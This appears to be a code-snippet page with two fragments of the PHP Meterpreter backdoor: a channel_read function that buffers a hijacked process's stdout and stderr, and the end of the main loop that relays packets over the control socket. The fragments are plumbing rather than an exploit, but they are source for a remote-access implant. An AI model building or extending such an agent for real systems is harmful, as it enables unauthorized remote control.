Пример #1
0
function channel_read($chan_id, $len)
{
    $c = get_channel_by_id($chan_id);
    if ($c) {
        # First get any pending unread data from a previous read
        $ret = substr($c['data'], 0, $len);
        $c['data'] = substr($c['data'], $len);
        if (strlen($ret) > 0) {
            my_print("Had some leftovers: '{$ret}'");
        }
        # Next grab stderr if we have it and it's not the same file descriptor
        # as stdout.
        if (strlen($ret) < $len and is_resource($c[2]) and $c[1] != $c[2]) {
            # Read as much as possible into the channel's data buffer
            $read = read($c[2]);
            $c['data'] .= $read;
            # Now slice out however much the client asked for.  If there's any
            # left over, they'll get it next time.  If it doesn't add up to
            # what they requested, oh well, they'll just have to call read
            # again. Looping until we get the requested number of bytes is
            # inconsistent with win32 meterpreter and causes the whole php
            # process to block waiting on input.
            $bytes_needed = $len - strlen($ret);
            $ret .= substr($c['data'], 0, $bytes_needed);
            $c['data'] = substr($c['data'], $bytes_needed);
        }
        # Then if there's still room, grab stdout
        if (strlen($ret) < $len and is_resource($c[1])) {
            # Same as above, but for stdout.  This will overwrite a false
            # return value from reading stderr but the two should generally
            # EOF at the same time, so it should be fine.
            $read = read($c[1]);
            $c['data'] .= $read;
            $bytes_needed = $len - strlen($ret);
            $ret .= substr($c['data'], 0, $bytes_needed);
            $c['data'] = substr($c['data'], $bytes_needed);
        }
        # In the event of one or the other of the above read()s returning
        # false, make sure we have sent any pending unread data before saying
        # EOF by returning false.  Note that if they didn't return false, it is
        # perfectly legitimate to return an empty string which just means
        # there's no data right now but we haven't hit EOF yet.
        if (false === $read and empty($ret)) {
            if (interacting($chan_id)) {
                handle_dead_resource_channel($c[1]);
            }
            return false;
        }
        return $ret;
    } else {
        return false;
    }
}
Пример #2
0
            # length of the whole packet, including header
            $len = $a['len'];
            # packet type should always be 0, i.e. PACKET_TYPE_REQUEST
            $ptype = $a['type'];
            while (strlen($request) < $a['len']) {
                $request .= read($msgsock, $len - strlen($request));
            }
            #my_print("creating response");
            $response = create_response($request);
            write($msgsock, $response);
        } else {
            my_print("not Msgsock: {$ready}");
            $data = read($ready);
            my_print(sprintf("Read returned %s bytes", strlen($data)));
            if (false === $data) {
                $request = handle_dead_resource_channel($ready);
                write($msgsock, $request);
                remove_reader($ready);
            } elseif (strlen($data) == 0) {
                remove_reader($ready);
            } else {
                $request = handle_resource_read_channel($ready, $data);
                my_print("Got some data from a channel that needs to be passed back to the msgsock");
                write($msgsock, $request);
            }
        }
    }
    $r = $GLOBALS['readers'];
}
# end main loop
my_print("Finished");